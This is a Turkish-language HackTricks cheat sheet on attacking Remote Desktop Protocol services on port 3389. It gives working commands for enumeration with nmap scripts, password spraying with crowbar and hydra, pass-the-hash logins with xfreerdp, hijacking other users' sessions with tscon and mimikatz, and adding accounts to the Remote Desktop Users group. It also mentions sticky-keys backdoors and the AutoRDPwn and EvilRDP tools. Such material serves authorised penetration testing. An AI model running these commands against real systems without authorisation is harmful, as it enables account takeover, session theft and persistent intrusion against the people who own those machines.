3389 - Pentesting RDP
Reading time: 5 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.
Temel Bilgiler
Microsoft tarafından geliştirilen Remote Desktop Protocol (RDP), bilgisayarlar arasında bir ağ üzerinden grafiksel bir arayüz bağlantısı sağlamayı amaçlamaktadır. Böyle bir bağlantı kurmak için, kullanıcı tarafından RDP istemci yazılımı kullanılır ve aynı anda, uzak bilgisayarın RDP sunucu yazılımını çalıştırması gerekmektedir. Bu yapı, uzak bir bilgisayarın masaüstü ortamının kesintisiz kontrolünü ve erişimini sağlar, temelde arayüzünü kullanıcının yerel cihazına getirir.
Varsayılan port: 3389
PORT STATE SERVICE
3389/tcp open ms-wbt-server
Enumeration
Automatic
nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>
Mevcut şifreleme ve DoS zafiyetini (hizmete DoS oluşturmadan) kontrol eder ve NTLM Windows bilgilerini (sürümlerini) alır.
Brute force
Dikkatli olun, hesapları kilitleyebilirsiniz
Password Spraying
Dikkatli olun, hesapları kilitleyebilirsiniz
# https://github.com/galkan/crowbar
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
# hydra
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp
Bilinen kimlik bilgileri/hash ile bağlanın
rdesktop -u <username> <IP>
rdesktop -d <domain> -u <username> -p <password> <IP>
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash
RDP hizmetlerine karşı bilinen kimlik bilgilerini kontrol etme
impacket'ten rdp_check.py, bazı kimlik bilgilerinin bir RDP hizmeti için geçerli olup olmadığını kontrol etmenizi sağlar:
rdp_check <domain>/<name>:<password>@<IP>
Saldırılar
Oturum çalma
SYSTEM izinleri ile, herhangi bir kullanıcının açtığı RDP oturumuna erişebilirsiniz, sahibinin şifresini bilmenize gerek yoktur.
Açık oturumları al:
query user
Seçilen oturuma erişim
tscon <ID> /dest:<SESSIONNAME>
Şimdi seçilen RDP oturumunun içinde olacaksınız ve yalnızca Windows araçları ve özelliklerini kullanarak bir kullanıcıyı taklit edeceksiniz.
Önemli: Aktif RDP oturumlarına eriştiğinizde, onu kullanan kullanıcıyı çıkartacaksınız.
Şifreleri süreçten dökerek alabilirsiniz, ancak bu yöntem çok daha hızlıdır ve kullanıcıların sanal masaüstleriyle etkileşimde bulunmanızı sağlar (şifreler not defterinde, diske kaydedilmeden, diğer makinelerde açık olan diğer RDP oturumları...)
Mimikatz
Bunu yapmak için mimikatz'ı da kullanabilirsiniz:
ts::sessions #Get sessions
ts::remote /id:2 #Connect to the session
Sticky-keys & Utilman
Bu tekniği stickykeys veya utilman ile birleştirerek, her zaman bir yönetici CMD ve herhangi bir RDP oturumuna erişim sağlayabilirsiniz.
Bu tekniklerden biriyle arka kapı bırakılmış RDP'leri https://github.com/linuz/Sticky-Keys-Slayer ile arayabilirsiniz.
RDP Süreç Enjeksiyonu
Farklı bir alan adından veya daha iyi yetkilere sahip biri RDP ile senin Admin olduğun PC'ye giriş yaparsa, RDP oturum sürecine beacon'ını enjekte edebilir ve onun gibi hareket edebilirsin:
RDP grubuna Kullanıcı Ekleme
net localgroup "Remote Desktop Users" UserLoginName /add
Automatic Tools
AutoRDPwn, Microsoft Windows bilgisayarlarında Shadow saldırısını otomatikleştirmek için tasarlanmış, Powershell'de oluşturulmuş bir post-exploitation framework'tür. Bu zafiyet (Microsoft tarafından bir özellik olarak listelenmiştir), uzaktan bir saldırganın kurbanının masaüstünü izleyebilmesine ve hatta talep üzerine kontrol edebilmesine olanak tanır; bu, işletim sisteminin kendisine ait araçlar kullanılarak gerçekleştirilir.
- EvilRDP
- Komut satırından otomatik bir şekilde fare ve klavye kontrolü
- Komut satırından otomatik bir şekilde panoya erişim
- RDP üzerinden hedefe ağ iletişimini yönlendiren bir SOCKS proxy'si oluşturma
- Hedefte dosya yüklemeden rastgele SHELL ve PowerShell komutları çalıştırma
- Hedefte dosya transferleri devre dışı olsa bile hedefe dosya yükleme ve indirme
HackTricks Automatic Commands
Protocol_Name: RDP #Protocol Abbreviation if there is one.
Port_Number: 3389 #Comma separated if there is more than one.
Protocol_Description: Remote Desktop Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for RDP
Note: |
Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device.
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-rdp.html
Entry_2:
Name: Nmap
Description: Nmap with RDP Scripts
Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.